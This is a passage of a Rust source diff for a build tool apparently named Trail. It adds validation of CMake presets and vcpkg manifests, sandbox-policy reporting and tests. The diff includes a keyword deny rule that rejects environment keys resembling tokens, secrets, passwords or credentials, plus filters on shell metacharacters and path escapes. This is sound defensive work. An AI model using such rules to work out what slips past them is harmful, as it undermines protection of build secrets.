=> continue, + _ => { + return Err(Error::InvalidInput(format!( + "configure preset `{name}` cache variable `{key}` has an unsupported value" + ))) + } + }; + if key.len() > 256 || value.len() > 4096 || value.contains('\0') { + return Err(Error::InvalidInput(format!( + "configure preset `{name}` contains an oversized cache variable" + ))); + } + cache_variables.insert(key.clone(), value); + } + } + let environment = parse_cmake_string_map(object.get("environment"), &name, "environment")?; + Ok(CmakePresetDefinition { + name, + hidden: object + .get("hidden") + .and_then(serde_json::Value::as_bool) + .unwrap_or(false), + inherits, + generator: object + .get("generator") + .and_then(serde_json::Value::as_str) + .map(str::to_string), + toolchain_file: object + .get("toolchainFile") + .and_then(serde_json::Value::as_str) + .map(str::to_string), + cache_variables, + environment, + }) +} + +fn parse_cmake_string_map( + value: Option<&serde_json::Value>, + preset_name: &str, + field: &str, +) -> Result> { + let Some(value) = value else { + return Ok(BTreeMap::new()); + }; + let values = value.as_object().ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset `{preset_name}` {field} must be an object" + )) + })?; + if values.len() > 256 { + return Err(Error::InvalidInput(format!( + "configure preset `{preset_name}` {field} exceeds 256 entries" + ))); + } + let mut parsed = BTreeMap::new(); + for (key, value) in values { + let value = value.as_str().ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset `{preset_name}` {field} entry `{key}` must be a string" + )) + })?; + if key.is_empty() + || key.len() > 256 + || value.len() > 4096 + || key.contains('\0') + || value.contains('\0') + { + return Err(Error::InvalidInput(format!( + "configure preset `{preset_name}` contains an invalid {field} entry" + ))); + } + parsed.insert(key.clone(), value.to_string()); + } + Ok(parsed) +} + +fn validate_cmake_preset_environment( + preset_name: &str, + environment: &BTreeMap, +) -> Result<()> { + for (name, value) in environment { + let normalized = name.to_ascii_uppercase(); + if matches!( + normalized.as_str(), + "CC" | "CXX" | "CMAKE_GENERATOR" | "CMAKE_TOOLCHAIN_FILE" + ) { + return Err(Error::InvalidInput(format!( + "CMake configure preset `{preset_name}` selects toolchain state through environment `{name}`; use fingerprinted generator/compiler/toolchain fields" + ))); + } + if normalized.contains("TOKEN") + || normalized.contains("SECRET") + || normalized.contains("PASSWORD") + || normalized.contains("CREDENTIAL") + { + return Err(Error::InvalidInput(format!( + "CMake configure preset `{preset_name}` contains secret-like environment key `{name}`" + ))); + } + if value.contains("$penv{") || value.contains("$env{") { + if name == "VCPKG_ROOT" && value == "$penv{VCPKG_ROOT}" { + continue; + } + return Err(Error::InvalidInput(format!( + "CMake configure preset `{preset_name}` environment `{name}` inherits unpinned host state; only VCPKG_ROOT=$penv{{VCPKG_ROOT}} is permitted and separately verified" + ))); + } + } + Ok(()) +} + +fn expand_cmake_preset( + name: &str, + definitions: &BTreeMap, + visiting: &mut BTreeSet, +) -> Result { + if !visiting.insert(name.to_string()) { + return Err(Error::InvalidInput(format!( + "CMake configure preset inheritance contains a cycle at `{name}`" + ))); + } + let own = definitions.get(name).ok_or_else(|| { + Error::InvalidInput(format!( + "CMake configure preset `{name}` inherits a missing preset" + )) + })?; + if visiting.len() > MAX_CMAKE_PRESET_FILES { + return Err(Error::InvalidInput(format!( + "CMake preset inheritance exceeds {MAX_CMAKE_PRESET_FILES} entries" + ))); + } + let mut expanded = CmakePresetDefinition { + name: own.name.clone(), + hidden: own.hidden, + inherits: Vec::new(), + generator: None, + toolchain_file: None, + cache_variables: BTreeMap::new(), + environment: BTreeMap::new(), + }; + for parent in &own.inherits { + let parent = expand_cmake_preset(parent, definitions, visiting)?; + if expanded.generator.is_none() { + expanded.generator = parent.generator; + } + if expanded.toolchain_file.is_none() { + expanded.toolchain_file = parent.toolchain_file; + } + for (key, value) in parent.cache_variables { + expanded.cache_variables.entry(key).or_insert(value); + } + for (key, value) in parent.environment { + expanded.environment.entry(key).or_insert(value); + } + } + if own.generator.is_some() { + expanded.generator = own.generator.clone(); + } + if own.toolchain_file.is_some() { + expanded.toolchain_file = own.toolchain_file.clone(); + } + expanded.cache_variables.extend(own.cache_variables.clone()); + expanded.environment.extend(own.environment.clone()); + visiting.remove(name); + Ok(expanded) +} + +fn contained_cmake_reference( + component_root: &str, + containing_file: &str, + reference: &str, +) -> Result { + if reference.is_empty() || reference.len() > 4096 { + return Err(Error::InvalidInput( + "CMake preset include is empty or oversized".to_string(), + )); + } + let parent = containing_file + .rsplit_once('/') + .map_or("", |(parent, _)| parent); + let joined = join_repo_path(parent, reference); + let normalized = normalize_relative_path(&joined).map_err(|error| { + Error::InvalidInput(format!( + "CMake preset include `{reference}` escapes its component: {error}" + )) + })?; + ensure_cmake_component_path(component_root, &normalized, "preset include")?; + Ok(normalized) +} + +fn contained_cmake_component_path(component_root: &str, reference: &str) -> Result { + if reference.is_empty() || reference.len() > 4096 { + return Err(Error::InvalidInput( + "CMake component path is empty or oversized".to_string(), + )); + } + let normalized = + normalize_relative_path(&join_repo_path(component_root, reference)).map_err(|error| { + Error::InvalidInput(format!( + "CMake component path `{reference}` escapes its component: {error}" + )) + })?; + ensure_cmake_component_path(component_root, &normalized, "component path")?; + Ok(normalized) +} + +fn ensure_cmake_component_path(component_root: &str, path: &str, kind: &str) -> Result<()> { + if component_root.is_empty() + || path == component_root + || path.starts_with(&format!("{component_root}/")) + { + return Ok(()); + } + Err(Error::InvalidInput(format!( + "CMake {kind} `{path}` escapes component `{}`", + display_component_root(component_root) + ))) +} + +fn resolve_cmake_compiler( + cache_variables: &BTreeMap, + key: &str, + fallback: &str, +) -> Result { + let selected = cache_variables.get(key).map_or(fallback, String::as_str); + if selected.contains('$') || selected.contains(';') || selected.contains('\0') { + return Err(Error::InvalidInput(format!( + "CMake compiler `{selected}` is not a literal executable" + ))); + } + if selected.contains('/') || selected.contains('\\') { + let path = PathBuf::from(selected); + if !path.is_absolute() || !path.is_file() { + return Err(Error::InvalidInput(format!( + "CMake compiler `{selected}` must be an existing absolute host executable or a PATH program" + ))); + } + workspace_tool_identity_for_path(&path) + } else { + Ok(resolve_workspace_tool_executable(selected)?.identity) + } +} + +fn cmake_dependency_authority( + db: &Trail, + source_root: &ObjectId, + component_root: &str, + preset: &CmakePresetAuthority, +) -> Result { + for marker in ["conanfile.py", "conanfile.txt", "conan.lock"] { + let path = join_repo_path(component_root, marker); + if db.root_file_entry(source_root, &path)?.is_some() { + return Err(Error::InvalidInput(format!( + "CMake component contains `{path}`; Conan is recognized but remains unsupported until its lock/profile contract is certified" + ))); + } + } + let manifest_path = join_repo_path(component_root, "vcpkg.json"); + let Some(manifest_entry) = db.root_file_entry(source_root, &manifest_path)? else { + return Ok(CmakeDependencyAuthority::default()); + }; + if manifest_entry.size_bytes > MAX_CMAKE_PRESET_BYTES { + return Err(Error::InvalidInput(format!( + "vcpkg manifest `{manifest_path}` exceeds {MAX_CMAKE_PRESET_BYTES} bytes" + ))); + } + let manifest_bytes = db.materialize_entry_bytes(&manifest_entry)?; + let manifest: serde_json::Value = serde_json::from_slice(&manifest_bytes).map_err(|error| { + Error::InvalidInput(format!( + "vcpkg manifest `{manifest_path}` is malformed JSON: {error}" + )) + })?; + let configuration_path = join_repo_path(component_root, "vcpkg-configuration.json"); + let configuration = if let Some(entry) = db.root_file_entry(source_root, &configuration_path)? { + if entry.size_bytes > MAX_CMAKE_PRESET_BYTES { + return Err(Error::InvalidInput(format!( + "vcpkg configuration `{configuration_path}` exceeds {MAX_CMAKE_PRESET_BYTES} bytes" + ))); + } + let bytes = db.materialize_entry_bytes(&entry)?; + let document: serde_json::Value = serde_json::from_slice(&bytes).map_err(|error| { + Error::InvalidInput(format!( + "vcpkg configuration `{configuration_path}` is malformed JSON: {error}" + )) + })?; + Some((entry, document)) + } else { + None + }; + let baseline = manifest + .get("builtin-baseline") + .and_then(serde_json::Value::as_str) + .or_else(|| { + configuration + .as_ref() + .and_then(|(_, value)| value.get("default-registry")) + .and_then(|value| value.get("baseline")) + .and_then(serde_json::Value::as_str) + }) + .filter(|baseline| { + baseline.len() == 40 && baseline.bytes().all(|byte| byte.is_ascii_hexdigit()) + }) + .ok_or_else(|| { + Error::InvalidInput(format!( + "vcpkg manifest `{manifest_path}` requires one pinned 40-hex builtin baseline" + )) + })?; + validate_vcpkg_registry_paths( + component_root, + configuration.as_ref().map(|(_, value)| value), + )?; + let toolchain = preset.toolchain_file.as_deref().ok_or_else(|| { + Error::InvalidInput( + "vcpkg manifest mode requires a contained or exact pinned host vcpkg CMake toolchainFile in the selected preset" + .to_string(), + ) + })?; + let vcpkg = resolve_workspace_tool_executable("vcpkg")?; + let vcpkg_host = validate_vcpkg_host_toolchain(toolchain, &vcpkg)?; + let mut inputs = BTreeMap::from([ + (manifest_path, manifest_entry.content_hash), + ( + "builtin-baseline".to_string(), + baseline.to_ascii_lowercase(), + ), + ("toolchain-file".to_string(), toolchain.to_string()), + ("host-toolchain".to_string(), vcpkg_host), + ]); + if let Some((entry, _)) = configuration { + inputs.insert(configuration_path, entry.content_hash); + } + Ok(CmakeDependencyAuthority { + uses_vcpkg: true, + inputs, + tool_versions: BTreeMap::from([("vcpkg-executable".to_string(), vcpkg.identity)]), + }) +} + +fn validate_vcpkg_host_toolchain( + toolchain: &str, + vcpkg: &super::workspace_environment::ResolvedWorkspaceTool, +) -> Result { + if toolchain != "$env{VCPKG_ROOT}/scripts/buildsystems/vcpkg.cmake" { + return Err(Error::InvalidInput(format!( + "vcpkg manifest mode requires the exact `$env{{VCPKG_ROOT}}/scripts/buildsystems/vcpkg.cmake` host boundary; selected `{toolchain}`" + ))); + } + let configured_root = std::env::var_os("VCPKG_ROOT").ok_or_else(|| { + Error::InvalidInput( + "the selected vcpkg preset requires VCPKG_ROOT to name the verified host checkout" + .to_string(), + ) + })?; + let root = fs::canonicalize(configured_root).map_err(|error| { + Error::InvalidInput(format!("VCPKG_ROOT cannot be canonicalized: {error}")) + })?; + if !root.is_dir() { + return Err(Error::InvalidInput( + "VCPKG_ROOT is not a directory".to_string(), + )); + } + let executable = fs::canonicalize(&vcpkg.path)?; + if executable.parent() != Some(root.as_path()) { + return Err(Error::InvalidInput(format!( + "resolved vcpkg executable `{}` is not directly owned by VCPKG_ROOT `{}`", + executable.display(), + root.display() + ))); + } + let toolchain_path = root.join("scripts/buildsystems/vcpkg.cmake"); + let toolchain_bytes = fs::read(&toolchain_path).map_err(|error| { + Error::InvalidInput(format!( + "verified vcpkg toolchain `{}` cannot be read: {error}", + toolchain_path.display() + )) + })?; + if toolchain_bytes.len() as u64 > MAX_CMAKE_PRESET_BYTES { + return Err(Error::InvalidInput(format!( + "verified vcpkg toolchain exceeds {MAX_CMAKE_PRESET_BYTES} bytes" + ))); + } + let revision = Command::new("git") + .args(["-C"]) + .arg(&root) + .args(["rev-parse", "HEAD"]) + .env_clear() + .env("PATH", std::env::var_os("PATH").unwrap_or_default()) + .output() + .map_err(|error| Error::InvalidInput(format!("failed to inspect VCPKG_ROOT: {error}")))?; + let revision = std::str::from_utf8(&revision.stdout) + .ok() + .map(str::trim) + .filter(|revision| { + revision.len() == 40 && revision.bytes().all(|byte| byte.is_ascii_hexdigit()) + }) + .ok_or_else(|| { + Error::InvalidInput( + "VCPKG_ROOT must be a Git checkout pinned at one 40-hex revision".to_string(), + ) + })?; + let status = Command::new("git") + .args(["-C"]) + .arg(&root) + .args(["status", "--porcelain", "--untracked-files=no"]) + .env_clear() + .env("PATH", std::env::var_os("PATH").unwrap_or_default()) + .output() + .map_err(|error| Error::InvalidInput(format!("failed to verify VCPKG_ROOT: {error}")))?; + if !status.status.success() || !status.stdout.is_empty() { + return Err(Error::InvalidInput( + "VCPKG_ROOT must be a clean pinned Git checkout".to_string(), + )); + } + Ok(format!( + "vcpkg-host:{revision}:toolchain-sha256:{}:executable:{}", + sha256_hex(&toolchain_bytes), + vcpkg.identity + )) +} + +fn validate_vcpkg_registry_paths( + component_root: &str, + configuration: Option<&serde_json::Value>, +) -> Result<()> { + let Some(configuration) = configuration else { + return Ok(()); + }; + let mut registries = configuration + .get("registries") + .and_then(serde_json::Value::as_array) + .map_or_else(Vec::new, |values| values.iter().collect::>()); + if let Some(default) = configuration.get("default-registry") { + registries.push(default); + } + if registries.len() > 256 { + return Err(Error::InvalidInput( + "vcpkg configuration exceeds 256 registries".to_string(), + )); + } + for registry in registries { + let Some(object) = registry.as_object() else { + return Err(Error::InvalidInput( + "vcpkg registry entries must be objects".to_string(), + )); + }; + if let Some(path) = object.get("path").and_then(serde_json::Value::as_str) { + contained_cmake_component_path(component_root, path)?; + } + if object.get("kind").and_then(serde_json::Value::as_str) == Some("filesystem") + && object.get("path").is_none() + { + return Err(Error::InvalidInput( + "vcpkg filesystem registry requires a contained path".to_string(), + )); + } + if object.get("kind").and_then(serde_json::Value::as_str) == Some("git") { + let repository = object + .get("repository") + .and_then(serde_json::Value::as_str) + .filter(|repository| !repository.is_empty() && repository.len() <= 4096); + let baseline = object + .get("baseline") + .and_then(serde_json::Value::as_str) + .filter(|baseline| { + baseline.len() == 40 && baseline.bytes().all(|byte| byte.is_ascii_hexdigit()) + }); + if repository.is_none() || baseline.is_none() { + return Err(Error::InvalidInput( + "vcpkg Git registries require a bounded repository and pinned 40-hex baseline" + .to_string(), + )); + } + } + } + Ok(()) +} + fn normalize_component_root(component_root: &str) -> Result { if component_root.trim_matches('/').is_empty() { Ok(String::new()) @@ -201,6 +1215,26 @@ mod tests { use super::*; use std::ffi::OsStr; + fn cmake_authority_fixture(files: &[(&str, &str)]) -> (tempfile::TempDir, Trail, ObjectId) { + let workspace = tempfile::tempdir().unwrap(); + fs::write( + workspace.path().join("CMakeLists.txt"), + "cmake_minimum_required(VERSION 3.24)\nproject(example)\n", + ) + .unwrap(); + for (path, contents) in files { + let path = workspace.path().join(path); + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).unwrap(); + } + fs::write(path, contents).unwrap(); + } + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let root = db.resolve_branch_ref("main").unwrap().root_id; + (workspace, db, root) + } + #[test] fn cmake_discovery_is_pinned_and_side_effect_free() { let workspace = tempfile::tempdir().unwrap(); @@ -223,6 +1257,112 @@ mod tests { ); } + #[test] + fn cmake_presets_expand_contained_includes_toolchain_and_ccache() { + let (_workspace, db, root) = cmake_authority_fixture(&[ + ( + "CMakePresets.json", + r#"{ + "version": 6, + "include": ["cmake/base.json"], + "configurePresets": [{ + "name": "trail", + "inherits": "base", + "toolchainFile": "cmake/toolchain.cmake", + "cacheVariables": {"CMAKE_CXX_COMPILER_LAUNCHER": "ccache"} + }] + }"#, + ), + ( + "cmake/base.json", + r#"{ + "version": 6, + "configurePresets": [{"name": "base", "hidden": true, "generator": "Ninja"}] + }"#, + ), + ("cmake/toolchain.cmake", "set(CMAKE_SYSTEM_NAME Darwin)\n"), + ]); + let authority = cmake_preset_authority(&db, &root, "").unwrap(); + assert_eq!(authority.selected.as_deref(), Some("trail")); + assert_eq!(authority.generator.as_deref(), Some("Ninja")); + assert_eq!( + authority.toolchain_file.as_deref(), + Some("cmake/toolchain.cmake") + ); + assert!(authority.uses_ccache); + assert!(authority.inputs.contains_key("CMakePresets.json")); + assert!(authority.inputs.contains_key("cmake/base.json")); + assert!(authority.inputs.contains_key("cmake/toolchain.cmake")); + assert!(authority.inputs.contains_key("expanded-configure-preset")); + } + + #[test] + fn cmake_presets_fail_closed_on_ambiguity_escape_and_cycles() { + let (_workspace, db, root) = cmake_authority_fixture(&[( + "CMakePresets.json", + r#"{"version":6,"configurePresets":[ + {"name":"one","generator":"Ninja"}, + {"name":"two","generator":"Ninja"} + ]}"#, + )]); + let error = cmake_preset_authority(&db, &root, "").unwrap_err(); + assert!(error.to_string().contains("ambiguous")); + + let (_workspace, db, root) = cmake_authority_fixture(&[( + "CMakePresets.json", + r#"{"version":6,"include":"../outside.json","configurePresets":[]}"#, + )]); + let error = cmake_preset_authority(&db, &root, "").unwrap_err(); + assert!(error.to_string().contains("escapes")); + + let (_workspace, db, root) = cmake_authority_fixture(&[( + "CMakePresets.json", + r#"{"version":6,"configurePresets":[ + {"name":"one","inherits":"two","generator":"Ninja"}, + {"name":"two","inherits":"one","hidden":true} + ]}"#, + )]); + let error = cmake_preset_authority(&db, &root, "").unwrap_err(); + assert!(error.to_string().contains("cycle")); + } + + #[test] + fn explicit_cmake_preset_selection_is_identity_bearing() { + let (_workspace, db, root) = cmake_authority_fixture(&[ + ( + "CMakePresets.json", + r#"{"version":6,"configurePresets":[ + {"name":"debug","generator":"Ninja"}, + {"name":"release","generator":"Ninja"} + ]}"#, + ), + (".trail-cmake-preset", "release\n"), + ]); + let authority = cmake_preset_authority(&db, &root, "").unwrap(); + assert_eq!(authority.selected.as_deref(), Some("release")); + assert!(authority.inputs.contains_key(".trail-cmake-preset")); + } + + #[test] + fn vcpkg_requires_a_pinned_baseline_before_tool_resolution() { + let (_workspace, db, root) = cmake_authority_fixture(&[( + "vcpkg.json", + r#"{"name":"example","version-string":"0.1.0","dependencies":["zlib"]}"#, + )]); + let error = cmake_dependency_authority(&db, &root, "", &CmakePresetAuthority::default()) + .unwrap_err(); + assert!(error.to_string().contains("pinned 40-hex builtin baseline")); + } + + #[test] + fn conan_is_visible_but_fails_closed() { + let (_workspace, db, root) = + cmake_authority_fixture(&[("conan.lock", r#"{"version":"0.5"}"#)]); + let error = cmake_dependency_authority(&db, &root, "", &CmakePresetAuthority::default()) + .unwrap_err(); + assert!(error.to_string().contains("Conan is recognized")); + } + #[test] fn cmake_sync_provisions_private_state_without_publishing_a_layer() { if resolve_workspace_tool_executable("cmake").is_err() { @@ -291,6 +1431,21 @@ mod tests { assert!(report.generation.components[0].outputs[0] .layer_id .is_none()); + let generation_id = report.generation.generation_id.clone(); + drop(db); + let reopened = Trail::open(workspace.path()).unwrap(); + let active = reopened + .active_environment_generation("cmake") + .unwrap() + .unwrap(); + assert_eq!(active.generation_id, generation_id); + let environment = reopened + .lane_workspace_environment("cmake") + .unwrap() + .into_iter() + .collect::>(); + assert!(Path::new(&environment["TRAIL_CMAKE_BUILD_DIR"]).is_dir()); + assert!(environment["TRAIL_CMAKE_MOUNTED_BUILD_DIR"].ends_with("/build")); } #[cfg(unix)] diff --git a/trail/src/db/lane/workspace_environment.rs b/trail/src/db/lane/workspace_environment.rs index 6696088c..8a3e5dbb 100644 --- a/trail/src/db/lane/workspace_environment.rs +++ b/trail/src/db/lane/workspace_environment.rs @@ -18,6 +18,103 @@ const MAX_RESOLVER_SOURCE_ENTRIES: u64 = 1_000_000; const MAX_RESOLVER_SOURCE_BYTES: u64 = 16 * 1024 * 1024 * 1024; const MAX_ENVIRONMENT_COMMAND_DIAGNOSTIC_BYTES: usize = 64 * 1024; +fn relative_path_between(from: &Path, to: &Path) -> Option { + let from = from.components().collect::>(); + let to = to.components().collect::>(); + let common = from + .iter() + .zip(&to) + .take_while(|(left, right)| left == right) + .count(); + if common == 0 + || from[common..] + .iter() + .any(|component| !matches!(component, std::path::Component::Normal(_))) + || to[common..].iter().any(|component| { + !matches!( + component, + std::path::Component::Normal(_) | std::path::Component::CurDir + ) + }) + { + return None; + } + let mut relative = PathBuf::new(); + for _ in &from[common..] { + relative.push(".."); + } + for component in &to[common..] { + if let std::path::Component::Normal(component) = component { + relative.push(component); + } + } + Some(relative) +} + +fn resolve_absolute_path_allow_missing(path: &Path) -> Result { + if !path.is_absolute() { + return Err(Error::Corrupt(format!( + "expected an absolute path while validating process output: {}", + path.display() + ))); + } + let mut ancestor = path; + let mut missing = Vec::::new(); + loop { + match fs::canonicalize(ancestor) { + Ok(mut resolved) => { + for component in missing.iter().rev() { + resolved.push(component); + } + return Ok(resolved); + } + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + let name = ancestor.file_name().ok_or_else(|| { + Error::InvalidInput(format!( + "process output symlink target `{}` has no existing ancestor", + path.display() + )) + })?; + missing.push(name.to_os_string()); + ancestor = ancestor.parent().ok_or_else(|| { + Error::InvalidInput(format!( + "process output symlink target `{}` has no parent", + path.display() + )) + })?; + } + Err(error) => return Err(error.into()), + } + } +} + +fn relocatable_process_tree_project_root( + declaration: &WorkspaceEnvironmentOutput, + output: &Path, +) -> Result> { + let output_root = fs::canonicalize(output)?; + let relative_output = Path::new(&declaration.output_path); + let staged_mount = relative_output.strip_prefix("project").map_err(|_| { + Error::Corrupt(format!( + "process-tree output `{}` is outside the staged project", + declaration.output_path + )) + })?; + if staged_mount.parent() != Path::new(&declaration.mount_path).parent() { + return Ok(None); + } + let mut sandbox_root = output_root; + for _ in relative_output.components() { + if !sandbox_root.pop() { + return Err(Error::Corrupt(format!( + "process-tree output `{}` does not match its staging declaration", + declaration.output_path + ))); + } + } + Ok(Some(fs::canonicalize(sandbox_root.join("project"))?)) +} + struct BoundedResolverPipe { bytes: Vec, original_bytes: u64, @@ -49,6 +146,26 @@ fn spawn_bounded_environment_command_diagnostic( }) } +fn combine_environment_command_diagnostics( + stdout: BoundedEnvironmentCommandDiagnostic, + stderr: BoundedEnvironmentCommandDiagnostic, +) -> BoundedEnvironmentCommandDiagnostic { + let mut bytes = Vec::with_capacity(MAX_ENVIRONMENT_COMMAND_DIAGNOSTIC_BYTES); + let mut truncated = stdout.truncated || stderr.truncated; + for (label, diagnostic) in [(b"stdout:\n".as_slice(), stdout), (b"stderr:\n", stderr)] { + if diagnostic.bytes.is_empty() { + continue; + } + for chunk in [label, diagnostic.bytes.as_slice(), b"\n"] { + let remaining = MAX_ENVIRONMENT_COMMAND_DIAGNOSTIC_BYTES.saturating_sub(bytes.len()); + let retained = remaining.min(chunk.len()); + bytes.extend_from_slice(&chunk[..retained]); + truncated |= retained != chunk.len(); + } + } + BoundedEnvironmentCommandDiagnostic { bytes, truncated } +} + /// One repository file that the host projects into an adapter-owned staging /// directory. Adapters describe the mapping; they never receive writable /// access to the lane source view. @@ -153,6 +270,9 @@ pub(crate) struct WorkspaceEnvironmentCommandBinding { pub(crate) value: &'static str, } +/// Adapter binding value resolved by the host to the stable mounted lane root. +pub(crate) const WORKSPACE_COMMAND_BINDING_MOUNTPOINT: &str = "{trail-workspace-mountpoint}"; + /// One adapter-declared executable binding for ordinary managed commands. /// Resolution uses the same host policy as planning and exposes an absolute /// executable path so login shells cannot silently select another toolchain. @@ -420,6 +540,10 @@ pub(crate) enum WorkspaceEnvironmentSandboxPolicy { /// is maintained with Trail. These remain open-world until migrated onto /// individually certified capability profiles. TrustedBuiltin, + /// Reviewed built-in execution selected by an exact committed repository + /// approval. Repository code may spawn its lifecycle toolchain, while the + /// host still enforces native filesystem and network isolation. + ApprovedLifecycle, /// Repository-authored argv command. The host must execute it inside a /// supported kernel sandbox or fail closed before launching the tool. RestrictedRecipe, @@ -427,6 +551,10 @@ pub(crate) enum WorkspaceEnvironmentSandboxPolicy { /// namespaces. Cache access is projected into the deny-by-default native /// sandbox and is never available to planning or mounted actions. RestrictedPluginStaging, + /// An explicitly requested protocol-v2 staging action whose exact build + /// tool may spawn children. Writes remain confined to declared outputs and + /// caches, and networking remains denied by the native sandbox. + RestrictedPluginProcessTree, /// An installed protocol-v2 plugin requested mounted initialization. The /// host authorizes the typed action only after normalizing the authenticated /// package plan, then applies the same native deny-by-default sandbox while @@ -678,11 +806,12 @@ pub(crate) trait WorkspaceEnvironmentAdapter: Sync { ) -> Result; } -fn builtin_environment_adapters() -> [&'static dyn WorkspaceEnvironmentAdapter; 6] { +fn builtin_environment_adapters() -> [&'static dyn WorkspaceEnvironmentAdapter; 7] { [ &super::workspace_node::NODE_WORKSPACE_ADAPTER, &super::workspace_cargo::CARGO_TARGET_SEED_ADAPTER, &super::workspace_cmake::CMAKE_BUILD_TREE_ADAPTER, + &super::workspace_go::GO_WORKSPACE_VENDOR_ADAPTER, &super::workspace_go::GO_VENDOR_ADAPTER, &super::workspace_python::PYTHON_VENV_ADAPTER, &super::workspace_oci::OCI_IMAGE_ADAPTER, @@ -1898,33 +2027,39 @@ impl Trail { .runtime_resources .iter() .any(|resource| !resource.secrets.is_empty()); - let capabilities = if !plan.external_artifacts.is_empty() - || !plan.runtime_resources.is_empty() - { - EnvironmentCapabilityReport { - filesystem_read: Vec::new(), - filesystem_write: Vec::new(), - process: Vec::new(), - network: "none".to_string(), - shell: "none".to_string(), - scripts: "none".to_string(), - secrets: if has_runtime_secrets { - "opaque-references-only; host-runtime-file-handle-resolution".to_string() - } else { - "none".to_string() - }, - sandbox: "not-applicable-metadata-only".to_string(), - } - } else { - match plan.sandbox_policy { - WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe + let capabilities = + if !plan.external_artifacts.is_empty() || !plan.runtime_resources.is_empty() { + EnvironmentCapabilityReport { + filesystem_read: Vec::new(), + filesystem_write: Vec::new(), + process: Vec::new(), + network: "none".to_string(), + shell: "none".to_string(), + scripts: "none".to_string(), + secrets: if has_runtime_secrets { + "opaque-references-only; host-runtime-file-handle-resolution".to_string() + } else { + "none".to_string() + }, + sandbox: "not-applicable-metadata-only".to_string(), + } + } else { + match plan.sandbox_policy { + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted => { EnvironmentCapabilityReport { filesystem_read: plan .inputs .iter() .map(|input| input.source_path.clone()) + .chain( + plan.source_projection + .iter() + .map(|_| "pinned-source-root/**".to_string()), + ) .collect(), filesystem_write: plan .outputs @@ -1945,9 +2080,28 @@ impl Trail { ) .collect(), process, - network: "deny".to_string(), - shell: "deny".to_string(), - scripts: "deny".to_string(), + network: if cfg!(target_os = "macos") + && plan.sandbox_policy + == WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + { + "outbound-deny; local-bind-and-receive".to_string() + } else { + "deny".to_string() + }, + shell: if plan.sandbox_policy + == WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + { + "approved-process-tree".to_string() + } else { + "deny".to_string() + }, + scripts: if plan.sandbox_policy + == WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + { + "exact-committed-approval".to_string() + } else { + "deny".to_string() + }, secrets: "deny".to_string(), sandbox: restricted_recipe_sandbox_name().to_string(), } @@ -1979,7 +2133,7 @@ impl Trail { sandbox: "trusted-builtin".to_string(), }, } - }; + }; let tools = plan.layer_key.tool_versions.clone(); let external_artifacts = environment_external_artifact_activations(&plan); let runtime_resources = environment_runtime_resource_activations(&plan); @@ -1987,6 +2141,8 @@ impl Trail { source_root, component_id: plan.component_id, adapter_identity: plan.adapter_identity, + adapter_implementation_version: plan.implementation_version, + adapter_distribution_digest: plan.distribution_digest, kind: plan.kind, component_key, dependencies: plan @@ -2252,7 +2408,16 @@ impl Trail { selected: WorkspaceEnvironmentPlan, ) -> Result { if selected.dependencies.is_empty() { - return Ok(selected); + let selected_id = selected.component_id.clone(); + return self + .finalize_workspace_environment_plan_graph(vec![selected])? + .into_iter() + .find_map(|(plan, _)| (plan.component_id == selected_id).then_some(plan)) + .ok_or_else(|| { + Error::Corrupt(format!( + "environment preview finalizer lost selected component `{selected_id}`" + )) + }); } let selected_id = selected.component_id.clone(); let discovery = self.discover_workspace_environment(lane, None)?; @@ -3055,13 +3220,18 @@ impl Trail { && plan.mounted_commands.is_empty() } trail_environment_adapter_sdk::PROTOCOL_V2 if plan.mounted_commands.is_empty() => { - plan.sandbox_policy - == if plan.caches.is_empty() { + if plan.command.is_some() { + matches!( + plan.sandbox_policy, WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe - } else { - WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging - } - && plan.command.is_some() + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) + } else { + plan.sandbox_policy == WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe + && (!plan.external_artifacts.is_empty() + || !plan.runtime_resources.is_empty()) + } } trail_environment_adapter_sdk::PROTOCOL_V2 => { plan.sandbox_policy == WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted @@ -3106,7 +3276,11 @@ impl Trail { let expected_sandbox = match producer_trust { Trust::ReviewedBuiltin => { - plan.sandbox_policy == WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin + matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin + | WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + ) } Trust::RepositoryDeclaration => { plan.sandbox_policy == WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe @@ -3115,6 +3289,7 @@ impl Trail { plan.sandbox_policy, WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted ), }; @@ -3342,9 +3517,30 @@ impl Trail { plan.component_id ))); } - } else if !plan.external_artifacts.is_empty() || !plan.runtime_resources.is_empty() { + } else if !plan.external_artifacts.is_empty() { + if plan.kind != "external" + || !plan.runtime_resources.is_empty() + || plan.command.is_some() + || !plan.pre_commands.is_empty() + || !plan.mounted_commands.is_empty() + || !plan.caches.is_empty() + || plan.source_projection.is_some() + || plan.outputs.iter().any(|output| { + output.policy != WorkspaceEnvironmentOutputPolicy::WritablePrivate + || output.reuse != EnvironmentReuseMode::None + || output.scope != EnvironmentSharingScope::Lane + || output.publish != EnvironmentPublicationTrigger::Never + || output.gate.is_some() + }) + { + return Err(Error::InvalidInput(format!( + "component `{}` external artifacts permit only action-free lane-private never-published companion outputs", + plan.component_id + 